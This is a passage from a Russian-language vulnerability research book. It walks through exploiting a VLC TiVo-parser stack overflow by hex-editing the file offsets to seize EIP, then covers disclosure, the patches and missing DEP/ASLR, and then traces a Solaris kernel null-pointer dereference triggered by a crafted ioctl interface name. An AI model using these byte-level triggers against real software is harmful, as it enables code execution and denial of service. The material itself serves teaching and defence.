1849 /* если осталось место от последнего фрагмента, получить его */ 1850 if (p_sys-i_stuff_cnt 0) { 1851 stream_Read( p_demux-s, NULL, p_sys-i_stuff_cnt);

1852 p_sys-i_stuff_cnt = 0;

30 ГЛАВА 2. НАЗАД В 90-е 1853 } 1855 /* прочитать заголовок TY-пакета */ 1856 i_readSize = stream_Peek( p_demux-s, &p_peek, 4 );

1857 p_sys-i_cur_chunk++;

1859 if ( (i_readSize 4) || ( U32_AT(&p_peek[ 0 ] ) == 0 )) 1860 { 1861 /* EOF */ 1862 p_sys-eof = 1;

1863 return 0;

1864 } 1866 /* убедиться, что это PART-заголовок */ 1867 if( U32_AT( &p_peek[ 0 ] ) == TIVO_PES_FILEID ) 1868 { 1869 /* извлечь основной фрагмент */ 1870 parse_master(p_demux);

1871 return get_chunk_header(p_demux);

1872 } [..] В строке 1856, в функции get_chunk_header(), подконтрольные пользователю данные из файла в формате TiVo копируются в память по указателю p_peek. Затем, в строке 1867, процесс проверяет, равны ли данные из файла, на которые ссылается указатель p_peek, значению TIVO_PES_FILEID (определено как 0xf5467abd в строке 112).

Если проверка дает положительный результат, вызывается уязвимая функция parse_master()(строка 1870).

Чтобы достичь уязвимого кода таким путем, образец файла в формате TiVo должен содержать значение TIVO_PES_FILEID. Я выполнил поиск значения TIVO_PES_FILEID в файле и обнаружил его в точке со смещением 0x00300000 (рис. 2.3).

00300000h: F5 46 7A BD 00 00 00 02 00 02 00 00 00 01 F7 04 ; Fz...........

00300010h: 00 00 00 08 00 00 00 02 3B 9A CA 00 00 00 01 48 ;........;....H Рис. 2.3. Значение TIVO_PES_FILEID в образце файла в формате TiVo Исходя из информации, полученной при изучении функции parse_ master() (фрагмент ниже) значение для переменной i_map_size должно находиться со смещением 20 (0x14), относительно значения TIVO_ PES_FILEID, найденного в точке со смещением 0x00300000.

–  –  –

Здесь я обнаружил, что загруженный мною образец файла в формате TiVo уже должен вызывать уязвимую функцию parse_master(), поэтому нет необходимости что-то специально изменять в нем. Отлично!

Шаг 3: Изменение файла в формате TiVo так, чтобы он вызывал ошибку в проигрывателе VLC Затем я попытался изменить файл в фор- Получить уязвимую ве рмате TiVo так, чтобы он вызывал ошибку сию VLC для Windows мо жно в проигрывателе VLC. Для этого доста- по адресу: http://download.

точно изменить 4-байтное значение со vid eo lan.org/p ub /vi de ola n/ смещением i_map_size (которое в этом vlc/0.9.4/win32/.

примере равно 0x00300014).

Как показано на рис. 2.4, я заменил 32-битное значение 0x00000002, находящееся со смещением 0x00300014 от начала файла, на 0x000000ff.

Нового значения, 255 байт (0xff), должно быть достаточно, чтобы вызвать переполнение 32-байтного буфера на стеке и перезаписать адрес возврата из функции, хранящийся на стеке выше буфера (раздел A.1).

Потом, я открыл измененный файл в проигрывателе VLC, выполняющемся под управлением отладчика Immunity Debugger [3]. Файл воспроизводился как и прежде, но спустя несколько секунд – как только измененные данные поступили в обработку – проигрыватель the VLC рухнул с результатом, представленным на рис. 2.5.

00300010h: 00 00 00 08 00 00 00 02 3B 9A CA 00 00 00 01 48 ;........;....H 00300010h: 00 00 00 08 00 00 00 ff 3B 9A CA 00 00 00 01 48 ;........;....H Рис. 2.4. Новое значение для переменной i_map_size в образце файла в формате TiVo Как и ожидалось, проигрыватель VLC завершился аварийно в процессе парсинга файла в формате TiVo, содержащего недопустимые данные. Ошибка не вызывает сомнений, так как указатель инструкций (регистр EIP) указывает на недопустимый адрес в памяти (как свидетельствует сообщение Access violation when executing 32 ГЛАВА 2. НАЗАД В 90-е Рис. 2.5. Проигрыватель VLC сгенерировал ошибку нарушения прав доступа в Immunity Debugger [20030000] в строке состояния отладчика). Это означает, что я легко могу получить контроль над указателем инструкций.

Шаг 4: Изменение файла в формате TiVo для захвата контроля над EIP На следующем этапе мне потребовалось определить, какие байты следует изменить в файле, чтобы они затерли адрес возврата на стеке, и я получил контроль над EIP. Отладчик сообщает, что на момент аварии EIP имел значение 0x20030000. Чтобы определить смещение этого значения, можно попытаться точно высчитать его или просто поискать требуемую последовательность байт в файле. Я выбрал последний способ и начал поиск со смещения 0x00300000. Искомая последовательность байт, в представлении с обратным порядком следования байт, обнаружилась в точке со смещением 0x0030005c и я заменил 4 байта значением 0x41414141 (как показано на рис. 2.6).

ЭКСПЛУАТАЦИЯ УЯЗВИМОСТИ

00300050h: 56 4A 00 00 03 1F 6C 49 6A A0 25 45 00 00 03 20 ; VJ....lIj %E...

00300050h: 56 4A 00 00 03 1F 6C 49 6A A0 25 45 41 41 41 41 ; VJ....lIj %EAAAA Рис. 2.6. Новое значение для EIP в образце файла в формате TiVo Рис. 2.7. Регистр EIP под контролем EIP = 41414141... Задание по захвату EIP выполнено! Я смог создать действующий эксплойт, позволяющий обеспечить выполнение произвольного кода с помощью хорошо известного приема jmp reg, как описывается в докладе «Variations in Exploit Methods Between Linux and Windows» Дэвида Личфилда (David Litchfield) [4].

Поскольку в Германии очень строгие законы, я не буду воспроизводить здесь полные исходные тексты действующего эксплойта, но интересующиеся могут посмотреть короткий видеоролик, в котором я демонстрирую эксплойт в действии. [5] 34 ГЛАВА 2. НАЗАД В 90-е

2.3. Ликвидация уязвимости Суббота, 18 октября, 2008 Теперь, когда уязвимость обнаружена, я мог бы ликвидировать ее несколькими способами. Я мог бы связаться с разработчиком и «ответственно» заявить об обнаруженной уязвимости и помочь ему в создании исправления. Этот процесс называется ответственное разглашение. Поскольку этот термин предполагает, что остальные способы разглашения являются безответственными, а это не всегда так, он постепенно заменяется термином скоординированное разглашение.

С другой стороны, я мог бы продать результаты своих изысканий брокеру уязвимостей, и позволить ему самому сообщить разработчику.

На коммерческом рынке уязвимостей сегодня существуют два основных игрока – Verisign iDefense Labs, со своей программой содействия в поиске уязвимостей «Vulnerability Contribution Program» (VCP), и Tipping Point с инициативой «Zero Day Initiative» (ZDI). Оба игрока, VCP и ZDI, придерживаются принципов скоординированного разглашения и работают с соответствующими производителями.

Другой вариант – полное разглашение. Следуя принципу полного разглашения, я мог бы выложить информацию об уязвимости в публичный доступ, не извещая производителя. Существуют и другие варианты разглашения, но мотивация, стоящая за ними, обычно не предполагает исправление ошибки (например, продажа информации об уязвимости на черном рынке). [6] В случае с уязвимостью в проигрывателе VLC, описанной в этой главе, я последовал принципу скоординированного разглашения.

Иными словами, я известил разработчиков VLC, предоставив им всю необходимую информацию и согласовав с ними время публичного разглашения информации.

После того, как я сообщил разработчикам VLC об ошибке, они разработали следующее исправление, устраняющее уязвимость [7]:

--- a/modules/demux/ty.c +++ b/modules/demux/ty.c @@ -1639,12 +1639,14 @@ static void parse_master(demux_t *p_demux) /* прочитать все записи */ p_sys-seq_table = malloc(p_sys-i_seq_table_size * sizeof (ty_seq_table_t));

for (i=0; ip_sys-i_seq_table_size; i++) {

- stream_Read(p_demux-s, mst_buf, 8 + i_map_size);

+ stream_Read(p_demux-s, mst_buf, 8);

p_sys-seq_table[i].l_timestamp = U64_AT(&mst_buf[0]);

ЛИКВИДАЦИЯ УЯЗВИМОСТИ

–  –  –

Изменения совершенно несложные. В ранее уязвимом вызове функции stream_Read() теперь используется фиксированное значение размера, а подконтрольное пользователю значение i_map_size теперь используется в вызове stream_Read(), только если оно меньше или равно 8. Простое исправление очевидной ошибки.

Но постойте! Уязвимость действительно ликвидирована? Переменная i_map_size все еще объявлена, как целочисленная со знаком.

Если значение переменной i_map_size окажется больше или равно 0x80000000, оно будет интерпретироваться, как отрицательное число и переполнение по-прежнему будет возникать при вызове функций stream_Read() и memcpy() в ветке else в исправлении (описание диапазонов представления целых чисел со знаком и без знака описывается в разделе A.3). Об этой проблеме я так же сообщил разработчикам

VLC, в результате чего появилось другое исправление [8]:

[..] @@ -1616,7 +1618,7 @@ static void parse_master(demux_t *p_demux) { demux_sys_t *p_sys = p_demux-p_sys;

uint8_t mst_buf[32];

- int i, i_map_size;

+ uint32_t i, i_map_size;

int64_t i_save_pos = stream_Tell(p_demux-s);

int64_t i_pts_secs;

[..] Теперь, когда переменная i_map_size имеет целочисленный тип без знака, ошибку можно считать исправленной. Вероятно, вы уже заметили, что функция parse_master() содержит еще одну уязвимость, связанную с переполнением буфера. Я сообщил разработчикам VLC и об этой ошибке. Если вы не сможете обнаружить ее, рассмотрите внимательнее второе исправление, выполненное разработчиками VLC, которое исправляет и эту ошибку.

36 ГЛАВА 2. НАЗАД В 90-е Самое удивительное во всем этом заключается в том, что ни одна из хваленых технологий защиты от эксплойтов, имеющихся в Windows Vista, не смогли помешать мне захватить контроль над EIP и выполнить произвольный код в стеке с помощью приема jmp reg. Технологии security cookie и /GS должны был предотвратить возможность манипуляций с адресом возврата на стеке. Кроме того, технологии ASLR и NX/DEP должны были предотвратить выполнение произвольного кода. (Дополнительную информацию об этих технологиях, препятствующих эксплуатации уязвимостей можно найти в разделе C.1.) Чтобы разобраться с этой тайной, я загрузил Process Explorer [9] и настроил отображение состояния механизмов DEP и ASLR для процессов.

Примечание. Чтобы настроить в Process Explorer отображение поддержки механизмов DEP и ASLR в процессах, я добавил следующие колонки в представление: View Select Columns DEP Status (Вид Выбрать колонки Состояние DEP) и View Select Columns ASLR Enabled (Вид Выбрать колонки Поддержка ASLR). Дополнительно я настроил нижнюю панель на отображение библиотек DLL, используемых процессами, и добавил в нее колонку ASLR Enabled (Поддержка ASLR).

Результаты, полученные с помощью Process Explorer, как показано на рис. 2.8, доказывают, что проигрыватель VLC и его модули не используют ни одну из технологий защиты, DEP или ASLR, (о чем свидетельствуют пустые колонки DEP и ASLR). Я продолжил расследование, с целью выяснить, почему процесс VLC не использует эти технологии.

Рис. 2.8. Информация о проигрывателе VLC в Process Explorer

ЛИКВИДАЦИЯ УЯЗВИМОСТИ

Механизм DEP может управляться системными политиками посредством специального API и параметров этапа компиляции (более подробную информацию о технологии DEP можно найти в блоге «Security Research and Defense» компании Microsoft [10]). Общесистемная политика поддержки DEP для клиентских операционных систем, таких как Windows Vista, называется OptIn. В этом режиме поддержка DEP включается только для процессов, явно присоединившихся к политике. Я использую 32-битную установку Windows Vista по умолчанию, поэтому общесистемная политика DEP должна работать в режиме OptIn. Чтобы убедиться в этом, я воспользовался консольное приложение bcdedit.exe, запустив его из командной строки:

C:\Windows\system32bcdedit /enum | findstr nx nx OptIn Вывод команды показывает, что система действительно настроена на использование режима OptIn политики DEP, что объясняет, почему проигрыватель VLC не использовал эту технологию: процесс просто не присоединился к политике DEP.

Существуют различные способы присоединения процессов к политике DEP. Например, можно использовать соответствующий ключ компоновщика (/NXCOMPAT) на этапе компиляции, или с помощью API-вызова SetProcessDEPPolicy присоединить приложение к политике DEP программно.

Чтобы определить, какие флаги, связанные с безопасностью, использовались во время компиляции VLC, я просканировал исполняемые файлы медиапроигрывателя с помощью LookingGlass (рис. 2.9) [11].

Примечание. В 2009 году компания Microsoft выпустила инструмент BinScope Binary Analyzer, анализирующий двоичные файлы на наличие поддержки широкого круга различных систем защиты с очень простым в использовании интерфейсом. [12] Инструмент LookingGlass показал, что при компиляции VLC не использовались ключи компоновщика, включающие поддержку ASLR или DEP. [13] Версии медиапроигрывателя для Windows компилируются с использованием окружения Cygwin [14], набора утилит, назначение которых заключается в создании окружения, похожего на Linux, внутри операционной системы Windows. Поскольку ключи 38 ГЛАВА 2. НАЗАД В 90-е компоновщика, упоминавшиеся выше, поддерживаются только версиями Microsoft Visual C++ 2005 SP1 и выше (и не поддерживаются инструментами Cygwin), совершенно неудивительно, что они не поддерживаются проигрывателем VLC.

–  –  –

Рис. 2.9. Результаты сканирования проигрывателя VLC с помощью LookingGlass Взгляните на следующие выдержки из вывода команды сборки

VLC:

[..] Building VLC from the source code ================================= [..]

- natively on Windows, using cygwin (www.cygwin.com) with or without the POSIX emulation layer. This is the preferred way to compile vlc if you want to do it on Windows.

[..]

UNSUPPORTED METHODS

------------------natively on Windows, using Microsoft Visual Studio. This will not work.

[..]

–  –  –

версиями. В результате, любая ошибка в VLC, легко может эксплуатироваться в современных версиях Windows, как и 20 лет назад, когда описываемые технологии обеспечения безопасности не имели широкого распространения или не поддерживались.

2.4. Полученные уроки

С позиции программиста:

Никогда не доверяйте данным, полученным от пользователя (включая файлы, данные из сети и так далее).

Никогда не используйте непроверенные значения длины или размера.

Всегда используйте технологии, препятствующие эксплуатации уязвимостей, предлагаемые современными операционными системами. В Windows программное обеспечение должно компилироваться с помощью Microsoft Visual C++ 2005 SP1 или более поздней версии, и с соответствующими ключами компилятора и компоновщика. Кроме того, компания Microsoft выпустила комплект инструментов Enhanced Mitigation Experience Toolkit [15], позволяющий применять технологии защиты от уязвимостей без перекомпиляции программ.

С позиции пользователя:

не доверяйте медиафайлам с любыми расширениями (подробнее об этом – в разделе 2.5).

2.5. Дополнение Понедельник, 20 октября, 2008 Так как уязвимость была ликвидирована и вышла новая версия проигрывателя VLC, сегодня я опубликовал подробный отчет на своем веб-сайте (рис. 2.10 демонстрирует график устранения ошибки). [16] Ошибке был присвоен идентификатор CVE-2008-4654.

Примечание. Согласно документации, опубликованной некоммерческой организацией MITRE [17], идентификаторы в едином каталоге уязвимостей (Common Vulnerabilities and Exposures Identifiers) (также упоминаемые, как CVE-имена, CVE-номера, CVE-идентификаторы и просто CVE) являются «уникальными, едиными идентификаторами уязвимостей, известных публично».

40 ГЛАВА 2. НАЗАД В 90-е

–  –  –

18.10.2008 20.10.2008 Рис. 2.10. График устранения уязвимости Понедельник, 5 января, 2009 В ответ на ошибку и мой подробный отчет я получил по электронной почте множество писем с вопросами от обеспокоенных пользователей проигрывателя VLC. В этих письмах я снова и снова встречал два основных вопроса:

Прежде я никогда не слышал о формате TiVo медиафайлов.

Зачем бы мне понадобилось открывать медиафайлы какого-то неизвестного формата?

Безопасно ли использовать VLC, если не открывать медиафайлы в формате TiVo?

Это не такие уж бессмысленные вопросы. Поэтому я задался вопросом, как определить формат файла, загруженного из Интернета, не имея никакой дополнительной информации, кроме расширения в его имени? Можно было бы запустить шестнадцатеричный редактор и проверить заголовок файла, но, честно говоря, я не думаю, что обычный человек возьмет на себя такой труд. Можно ли доверять расширениям имен файлов? Нет, нельзя. Обычным именам файлов в формате TiVo дается расширение.ty. Но что мешает злоумышленнику изменить расширение в имени файла fun.ty на fun.avi, fun.mov, fun.mkv или любое другое? Файл по-прежнему будет открываться и обрабатываться медиапроигрывателем как файлы в формате TiVo, поскольку VLC, как и многие другие проигрыватели, не принимает во внимание расширение в имени файла при определении медиаформата.

ПРИМЕЧАНИЯ Примечания

1. См. книгу Дика Грюна (Dick Grune) и Сэрил Дж. Х. Якобс (Ceriel J.H. Jacobs) «Parsing Techniques: A Practical Guide, 2nd ed».

(New York: Springer Science+Business Media, 2008), 1.

2. Исходные тексты уязвимой версии проигрывателя VLC можно загрузить по адресу: http://download.videolan.org/pub/videolan/ vlc/0.9.4/vlc-0.9.4.tar.bz2.

3. Immunity Debugger – отличный отладчик для Windows, основанный на отладчике OllyDbg. Он имеет удобный графический интерфейс, множество дополнительных возможностей и расширений, упрощающих выявление ошибок и разработку эксплойтов. Его можно найти по адресу: http://www.immunityinc.

com/products-immdbg.shtml.

4. См. доклад Дэвида Личфилда (David Litchfield) «Variations in Exploit Methods Between Linux and Windows», 2003, http:// www.nccgroup.com/Libraries/Document_Downloads/Variations_ in_Exploit_methods_between_Linux_and_Windows.sflb.ashx.

5. http://www.trapkit.de/books/bhd/.

6. Дополнительную информацию о принципах ответственного, скоординированного и полного разглашения, а также о рынке уязвимостей, можно найти в статье Стефана Фрея (Stefan Frei), Доминика Шацмана (Dominik Schatzmann), Бернхарда Платнера (Bernhard Plattner) и Брайана Траммела (Brian Trammel) «Modelling the Security Ecosystem – The Dynamics of (In)Security» 2009, http://www.techzoom.net/publications/ security-ecosystem/.

7. Репозиторий Git с исходными текстами VLC можно найти по адресу: http://git.videolan.org/. Первое исправление для этой ошибки можно загрузить по адресу: http://git.videolan.org/?p=vlc.git;a =commitdiff;h=26d92b87bba99b5ea2e17b7eaa39c462d65e9133.

8. Исправление для следующей ошибки в проигрывателе VLC, обнаруженной мной, можно загрузить по адресу: http://git.

videolan.org/?p=vlc.git;a=commitdiff;h=d859e6b9537af2d732627 6f70de25a840f554dc3.

9. Загрузить Process Explorer можно по адресу: http://technet.

microsoft.com/en-en/sysinternals/bb896653/.

10. http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-amitigation-technology-part-1.aspx.

42 ГЛАВА 2. НАЗАД В 90-е

11. LookingGlass – удобный инструмент, выполняющий сканирование дерева каталогов или запущенных процессов, который создает отчет с перечнем исполняемых двоичных файлов программ, не использующих технологии ASLR и NX. Его можно найти по адресу: http://www.erratasec.com/lookingglass.html.

12. Загрузить BinScope Binary Analyzer можно по адресу: http:// go.microsoft.com/?linkid=9678113.

13. Отличная статья о поддержке технологий, препятствующих эксплуатации уязвимостей, появившейся в версии Microsoft Visual C++ 2005 SP1 и выше: Майкл Говард (Michael Howard) «Защита кода с помощью средств защиты Visual C++», журнал MSDN Magazine, март 2008, http://msdn.microsoft.com/ru-ru/ magazine/cc337897.aspx.

14. http://www.cygwin.com/.

15. Комплект инструментов Enhanced Mitigation Experience Toolkit доступен по адресу: http://blogs.technet.com/srd/ archive/2010/09/02/enhanced-mitigation-experience-toolkitemetv2-0-0.aspx.

16. Отчет, подробно описывающий уязвимость в проигрывателе VLC, можно найти по адресу: http://www.trapkit.de/advisories/ TKADV2008-010.txt.

17. http://cve.mitre.org/cve/identifiers/index.html.

ГЛАВА

ВЫХОД ИЗ ЗОНЫ

3 WWW

–  –  –

3.1. Обнаружение уязвимости С появлением версии OpenSolaris в июне 2005 года, компания Sun открыла большую часть исходных текстов своей операционной системы Solaris 10, включая и исходные тексты ядра. Поэтому я загрузил эти исходные тексты [1] и приступил к их изучению, сфокусировавшись на реализации интерфейсов между пользователем и ядром, таких как механизм IOCTL и системные вызовы.

Примечание. Механизм управления вводом/выводом (Input/Output Control, IOCTL) используется для обеспечения взаимодействий между пользовательскими приложениями и ядром. [2] Обнаруженная уязвимость является одной из самых интересных из встречавшихся мне ранее. Ее причиной является неопределенный 44 ГЛАВА 3. ВЫХОД ИЗ ЗОНЫ www

–  –  –

Теперь у меня есть список имен IOCTL-запросов, поддерживаемых ядром Solaris. Чтобы отыскать исходные файлы, где реализована фактическая обработка этих IOCTL-запросов, я произвел поиск по всему дереву каталогов с исходными текстами для каждого IOCTLзапроса из списка. Ниже приводится пример поиска IOCTL-запроса

SIOCTONLINK:

–  –  –

Шаг 2: идентификация входных данных Ядро Solaris предоставляет несколько разных интерфейсов для обработки IOCTL-запросов. Интерфейс, подверженный обнаруженной мной уязвимости, является частью реализации модели STREAMS. [4] Основной модуль модели STREAMS, который называется Stream, является передаточным звеном между процессом, выполняющимся в пространстве пользователя, и ядром. Все операции ввода/вывода в ядре, реализуемые моделью STREAMS, основаны на обмене STREAMS-сообщениями, обычно состоящими из следующих компонентов: буфер данных, блок данных и блок сообщения. Буфер данных – это область памяти, где фактически хранятся данные сообщения. Блок данных (struct datab) описывает буфер данных. Блок сообщения (struct msgb) описывает блок данных и порядок использования данных.

Структура блока сообщения имеет следующие публичные элементы.

Исходный файл uts/common/sys/stream.h [5] [..] 367 /* 368 * Дескриптор блока сообщения 46 ГЛАВА 3. ВЫХОД ИЗ ЗОНЫ www 369 */ 370 typedef struct msgb { 371 struct msgb *b_next;

372 struct msgb *b_prev;

373 struct msgb *b_cont;

374 unsigned char *b_rptr;

375 unsigned char *b_wptr;

376 struct datab *b_datap;

377 unsigned char b_band;

378 unsigned char b_tag;

379 unsigned short b_ag;

380 queue_t *b_queue; /* для синхрониз. очередей */ 381 } mblk_t;

[..]

–  –  –

Рис. 3.1. Структурная диаграмма простого сообщения в модели STREAMS В модели STREAMS на входные данные для механизма IOCTL указывает элемент b_rptr структуры msgb, или (что то же самое) типа mblk_t. Другим важным компонентом модели STREAMS являются так называемые связанные блоки сообщений. Как описывается в руководстве программиста «STREAMS Programming Guide»: «[a] составное сообщение может состоять из нескольких блоков сообщений, связанных между собой. Если размер буфера ограничен или в процессе обработки сообщение увеличивается в размерах, оно разделяется на несколько блоков сообщений» (рис. 3.2).

ОБНАРУЖЕНИЕ УЯЗВИМОСТИ

–  –  –

Рис. 3.2. Структурная диаграмма связанных блоков сообщений в модели STREAMS Шаг 3: определение порядка движения входных данных Затем я взял список IOCTL-вызовов и начал просматривать программный код. Как обычно, я искал входные данные и затем следил за тем, как они обрабатываются, пытаясь обнаружить программные ошибки.

Спустя несколько часов я нашел уязвимость.

Исходный файл uts/common/inet/ip/ip.c Функция ip_process_ioctl() [6] [..] 26692 void 26693 ip_process_ioctl(ipsq_t *ipsq, queue_t *q, mblk_t *mp, void *arg) 26694 { [..] 26717 ci.ci_ipif = NULL;

[..] 26735 case TUN_CMD:

26736 /* 26737 * здесь обрабатывается SIOC[GS]TUNPARAM. ip_extract_tunreq 26738 * сохраняет ссылку на ipif, возвращаемый в ci.ci_ipif 26739 */ 26740 err = ip_extract_tunreq(q, mp, &ci.ci_ipif, ip_process_ioctl);

[..] Когда IOCTL-запрос SIOCGTUNPARAM передается ядру, вызывается функция ip_process_ioctl(). В строке 26717, элементу ci.ci_ipif явно присваивается значение NULL. Когда выполняется IOCTL-запрос SIOCGTUNPARAM, выбирается вариант TUN_CMD (строка 26735) и вызывается функция ip_extract_tunreq() (строка 26740).

48 ГЛАВА 3. ВЫХОД ИЗ ЗОНЫ www Исходный файл uts/common/inet/ip/ip_if.c Функция ip_extract_tunreq()[7] [..] 8158 /* 8159 * Парсинг структуры iftun_req, полученной с IOCTL-запросом SIOC[GS]TUNPARAM, 8160 * сохраняет ссылку на и возвращает соответствующий ipif 8161 */ 8162 /* ARGSUSED */ 8163 int 8164 ip_extract_tunreq(queue_t *q, mblk_t *mp, const ip_ioctl_cmd_t *ipip, 8165 cmd_info_t *ci, ipsq_func_t func) 8166 { 8167 boolean_t exists;

8168 struct iftun_req *ta;

8169 ipif_t *ipif;

8170 ill_t *ill;

8171 boolean_t isv6;

8172 mblk_t *mp1;

8173 int error;

8174 conn_t *connp;

8175 ip_stack_t *ipst;

8177 /* Наличие проверяется в ip_wput_nondata */ 8178 mp1 = mp-b_cont-b_cont;

8179 ta = (struct iftun_req *)mp1-b_rptr;

8180 /* 8181 * Завершить строку нулевым символом для защиты от выхода за 8182 * пределы буфера. Строка сгенерирована пользовательским 8183 * кодом и ей нельзя доверять.

8184 */ 8185 ta-ifta_lifr_name[LIFNAMSIZ - 1] = '\0';

8187 connp = Q_TO_CONN(q);

8188 isv6 = connp-conn_af_isv6;

8189 ipst = connp-conn_netstack-netstack_ip;

8191 /* Запретить неявное создание */ 8192 ipif = ipif_lookup_on_name(ta-ifta_lifr_name, 8193 mi_strlen(ta-ifta_lifr_name), B_FALSE, &exists, isv6, connp-conn_zoneid, CONNP_TO_WQ(connp), mp, func, &error, ipst);

[..] В строке 8178 извлекается ссылка на связанный блок сообщения STREAMS, и в строке 8179 структура ta заполняется пользовательскими данными. Ниже (в строке 8192) вызывается функция ipif_

ОБНАРУЖЕНИЕ УЯЗВИМОСТИ 49

lookup_on_name(). В первых двух параметрах функции ipif_lookup_ on_name() передаются значения, основанные на пользовательских данных из структуры ta.

Исходный файл uts/common/inet/ip/ip_if.c Функция ipif_lookup_on_name() [..] 19116 /* 19117 * Отыскивает IPIF по полученному имени. Имена могут быть в форме 19118 * phys (например, le0), phys:# (например, le0:1), 19119 * Строка phys может иметь такие формы, как dev# 19120 * (например, le0), dev#.module (например, le0.foo) или dev.module# (например, ip.tun3).

19121 * В отсутствие двоеточия предполагается устройство с индексом 0.

19122 * Строка phys должна соответствовать имени ILL. (Может вызываться для записи.) 19123 */ 19124 static ipif_t * 19125 ipif_lookup_on_name(char *name, size_t namelen, boolean_t do_alloc, 19126 boolean_t *exists, boolean_t isv6, zoneid_t zoneid, queue_t *q, 19127 mblk_t *mp, ipsq_func_t func, int *error, ip_stack_t *ipst) 19128 { [..] 19138 if (error != NULL) 19139 *error = 0;

[..] 19154 /* Отыскать двоеточие в имени. */ 19155 endp = &name[namelen];

19156 for (cp = endp; --cp name; ) { 19157 if (*cp == IPIF_SEPARATOR_CHAR) 19158 break;

19159 } 19161 if (*cp == IPIF_SEPARATOR_CHAR) { 19162 /* 19163 * Отвергать любые недесятичные псевдонимы для логических 19164 * интерфейсов. Псевдонимы с ведущими нулями тоже 19165 * должны отвергаться из-за неоднозначности 19166 * в именовании интерфейсов.

19167 * В соответствии с существующей семантикой, и для 19168 * совместимости с программами/сценариями, опирающимися 19169 * на такое поведение, имя if0:0 считается 19170 * допустимым интерфейсом.

19171 * 19172 * Если псевдоним содержит две и более цифр, 19173 * и первая - ноль, это ошибка.

19174 */ 19175 if (&cp[2] endp && cp[1] == '0') 50 ГЛАВА 3. ВЫХОД ИЗ ЗОНЫ www 19176 return (NULL);

19177 } [..] В строке 19139 параметру error явно присваивается значение 0. Затем, в строке 19161, имя интерфейса, переданное в пользовательских данных вместе с IOCTL-запросом, проверяется на наличие двоеточия (имя IPIF_SEPARATOR_CHAR определено как символ двоеточия). Если двоеточие присутствует в имени, байты, следующие за ним, интерпретируются как псевдоним интерфейса. Если псевдоним содержит две цифры или более, и первая цифра – ноль (ASCII-символ «0» с шестнадцатеричным кодом 0x30 в строке 19175), функция ipif_lookup_ on_name() возвращает функции ip_extract_tunreq() значение NULL и в переменной error остается значение 0 (строки 19139 и 19176).

Исходный файл uts/common/inet/ip/ip_if.c Функция ip_extract_tunreq() [..] 8192 ipif = ipif_lookup_on_name(ta-ifta_lifr_name, 8193 mi_strlen(ta-ifta_lifr_name), B_FALSE, &exists, isv6, 8194 connp-conn_zoneid, CONNP_TO_WQ(connp), mp, func, &error, ipst);

8195 if (ipif == NULL) 8196 return (error);

[..] После возврата в функцию ip_extract_tunreq(), указатель ipif будет установлен в значение NULL, если ipif_lookup_on_name() вернет его (строка 8192). Поскольку указатель ipif имеет значение NULL, инструкция if в строке 8195 обнаружит соблюдение условия, и будет выполнена инструкция в строке 8196. В результате функция ip_extract_tunreq() вернет функции ip_process_ioctl() значение переменной error, которое все еще равно нулю.

Исходный файл uts/common/inet/ip/ip.c Функция ip_process_ioctl() [..] 26717 ci.ci_ipif = NULL;

[..] 26735 case TUN_CMD:

26736 /* 26737 * здесь обрабатывается SIOC[GS]TUNPARAM. ip_extract_tunreq 26738 * возвращает ссылку ipif в ci.ci_ipif 26739 */ 26740 err = ip_extract_tunreq(q, mp, &ci.ci_ipif, ip_process_ioctl);

ОБНАРУЖЕНИЕ УЯЗВИМОСТИ 51

26741 if (err != 0) { 26742 ip_ioctl_nish(q, mp, err, IPI2MODE(ipip), NULL);

26743 return;

26744 } [..] 26788 err = (*ipip-ipi_func)(ci.ci_ipif, ci.ci_sin, q, mp, ipip, 26789 ci.ci_lifr);

[..] После возврата в функцию ip_process_ioctl(), переменной err присваивается значение 0, возвращенное функцией ip_extract_ tunreq() (строка 26740). Поскольку значение переменной err равно 0, инструкция if в строке 26741 обнаружит несоблюдение условия и строки 26742 и 26743 не будут выполнены. В строке 26788 вызывается функция по ссылке ipip-ipi_func, которой в данном случае является функция ip_sioctl_tunparam(), при этом в первом параметре ей передается элемент ci.ci_ipif, который все еще имеет значение NULL (строка 26717).

Исходный файл uts/common/inet/ip/ip_if.c Функция ip_sioctl_tunparam() [..] 9401 int 9402 ip_sioctl_tunparam(ipif_t *ipif, sin_t *dummy_sin, queue_t *q, mblk_t *mp, 9403 ip_ioctl_cmd_t *ipip, void *dummy_ifreq) 9404 { [..] 9432 ill = ipif-ipif_ill;

[..] Поскольку в первом параметре функции ip_sioctl_tunparam() передается значение NULL, ссылку ipif-ipif_ill в строке 9432 можно представить как NULL-ipif_ill, что является классической ошибкой разыменования нулевого указателя. Если произойдет разыменование нулевого указателя, вся система рухнет из-за аварийной ситуации в ядре. (Дополнительные сведения об ошибке разыменования нулевого указателя приводятся в разделе A.2.)

Перечислим полученные результаты:

непривилегированный пользователь системы Solaris может вызвать IOCTL-запрос SIOCGTUNPARAM ((1) на рис. 3.3);

Если в составе IOCTL-запроса передать ядру специально подготовленные данные – имя интерфейса, со следующим за ним 52 ГЛАВА 3. ВЫХОД ИЗ ЗОНЫ www двоеточием, ASCII-символом «0» и вторым произвольным цифровым символом – может возникнуть ситуация разыменования нулевого указателя ((2) на рис. 3.3), что приведет к краху системы ((3) на рис. 3.3).

Но почему может произойти разыменование нулевого указателя? Какая именно программная ошибка привела к появлению уязвимости?

Проблема в том, что функцию ipif_lookup_on_name() можно вынудить вернуть управление без установки признака ошибки.

Отчасти это обусловлено тем, что функция ipif_lookup_on_name() сообщает об ошибке вызывающему ее коду двумя разными способами: через возвращаемое значение (return (null)) и через переменную error (*error != 0). Каждый раз, вызывая функцию, авторы ядра должны убедиться, что оба признака корректно устанавливаются и корректно обрабатываются внутри вызывающей функции. Такой стиль программирования способствует появлению ошибок и потому не рекомендуется к применению. Уязвимость, описываемая в этой главе, является ярким примером класса проблем, которые могут порождаться таким программным кодом.

–  –  –

Рис. 3.3. Полученные результаты. Непривилегированный пользователь может вызвать крах системы, создав ситуацию разыменования нулевого указателя в ядре Solaris

–  –  –

19125 ipif_lookup_on_name(char *name, size_t namelen, boolean_t do_alloc, boolean_t *exists, boolean_t isv6, zoneid_t zoneid, queue_t *q, mblk_t *mp, ipsq_func_t func, int *error, ip_stack_t *ipst) 19128 { [..] 19138 if (error != NULL) 19139 *error = 0;

[..] 19161 if (*cp == IPIF_SEPARATOR_CHAR) { 19162 /* 19163 * Отвергать любые недесятичные псевдонимы для логических 19164 * интерфейсов. Псевдонимы с ведущими нулями 19165 * тоже должны отвергаться из-за неоднозначности 19166 * в именовании интерфейсов.

